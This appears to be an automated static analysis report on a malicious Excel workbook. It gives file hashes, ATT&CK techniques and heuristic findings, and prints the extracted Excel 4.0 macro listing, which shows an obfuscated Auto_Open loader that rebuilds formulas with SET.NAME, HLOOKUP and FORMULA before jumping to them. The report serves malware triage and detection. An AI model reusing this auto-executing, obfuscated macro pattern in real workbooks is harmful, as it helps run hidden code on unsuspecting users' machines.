Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 618ca04cc92646bd…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:09 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: ad7880f387970fa19ed798dd8690182d SHA-1: 689de599ae02ddfd18130d87cf68ee8c46dd0b97 SHA-256: 618ca04cc92646bd154015d30dd453596ffc9f3accdb6ae15c6c4d4dbc0b8931
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating potential automatic execution of malicious code upon opening the workbook. The presence of dangerous formula APIs further supports this. While the exact payload is not discernible from the provided evidence, the mechanism points to a macro-based execution of a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6617 bytes
SHA-256: 6a44cafaefc2defb8ee6fd7880c8a169542a670184f72575b89cd679f58e58ab
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uXgylfuej
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E166 
' 0018     22 LABEL : Cell Value, String Constant - bMKSxmX len=0 
' 0018     22 LABEL : Cell Value, String Constant - dfyymTQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - DjFfMOmaZRZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - eTGhRieTsmTO len=0 
' 0018     22 LABEL : Cell Value, String Constant - GyEhNzN len=0 
' 0018     24 LABEL : Cell Value, String Constant - icyHeAsob len=0 
' 0018     22 LABEL : Cell Value, String Constant - jvlNfAU len=0 
' 0018     26 LABEL : Cell Value, String Constant - NkRTBNgmQlM len=0 
' 0018     24 LABEL : Cell Value, String Constant - oOhUBbiBP len=0 
' 0018     26 LABEL : Cell Value, String Constant - QvdLGgxyftv len=0 
' 0018     25 LABEL : Cell Value, String Constant - rkbefvuINi len=0 
' 0018     23 LABEL : Cell Value, String Constant - SkBKdoLQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - SNJgEVtxhIa len=0 
' 0018     27 LABEL : Cell Value, String Constant - tTaiCacAAlkt len=0 
' 0018     23 LABEL : Cell Value, String Constant - TxZLfIyz len=0 
' 0018     24 LABEL : Cell Value, String Constant - VTefBrCID len=0 
' 0018     26 LABEL : Cell Value, String Constant - vTvbaTnUSgO len=0 
' 0018     25 LABEL : Cell Value, String Constant - WgPzUUUVdQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - WqpGzpSG len=0 
' 0018     22 LABEL : Cell Value, String Constant - WVRQFop len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uXgylfuej,E83,"SET.NAME("TxZLfIyz",VALUE("0"))",""
'  uXgylfuej,E88,"SET.NAME("bMKSxmX",TxZLfIyz)",""
'  uXgylfuej,E90,"SET.NAME("WgPzUUUVdQ",TxZLfIyz)",""
'  uXgylfuej,E92,"SET.NAME("DjFfMOmaZRZ",COUNTA(VTefBrCID))",""
'  uXgylfuej,E96,"SET.NAME("WqpGzpSG",COUNTA(NkRTBNgmQlM))",""
'  uXgylfuej,E99,[],""
'  uXgylfuej,E103,"SET.NAME("oOhUBbiBP","")",""
'  uXgylfuej,E106,"bMKSxmX",""
'  uXgylfuej,E108,"SET.NAME("SNJgEVtxhIa",HLOOKUP("*",VTefBrCID,bMKSxmX,FALSE))",""
'  uXgylfuej,E110,"SkBKdoLQ",""
'  uXgylfuej,E114,"SET.NAME("eTGhRieTsmTO",TxZLfIyz)",""
'  uXgylfuej,E119,[],""
'  uXgylfuej,E123,"eTGhRieTsmTO",""
'  uXgylfuej,E125,"jvlNfAU",""
'  uXgylfuej,E128,"tTaiCacAAlkt",""
'  uXgylfuej,E130,"WVRQFop",""
'  uXgylfuej,E134,"SET.NAME("vTvbaTnUSgO",VALUE(HLOOKUP("*",NkRTBNgmQlM,WVRQFop,FALSE)))",""
'  uXgylfuej,E139,"dfyymTQ",""
'  uXgylfuej,E141,"oOhUBbiBP",""
'  uXgylfuej,E143,"WgPzUUUVdQ",""
'  uXgylfuej,E147,NEXT(),""
'  uXgylfuej,E150,"GyEhNzN",""
'  uXgylfuej,E155,"SET.NAME("f",INT(T(FORMULA(T(oOhUBbiBP)&"",""&T(GyEhNzN)))))",""
'  uXgylfuej,E157,"QvdLGgxyftv",""
'  uXgylfuej,E161,NEXT(),""
'  uXgylfuej,E164,RETURN(),""
'  uXgylfuej,E187,"SET.NAME("icyHeAsob",E83)",""
'  uXgylfuej,E190,"VTefBrCID",""
'  uXgylfuej,E193,"SET.NAME("NkRTBNgmQlM",R88C12)",""
'  uXgylfuej,E197,"SET.NAME("QvdLGgxyftv",206)",""
'  uXgylfuej,E200,"SET.NAME("rkbefvuINi",5)",""
'  uXgylfuej,E205,icyHeAsob(),""
'  uXgylfuej,E206,HALT(),""

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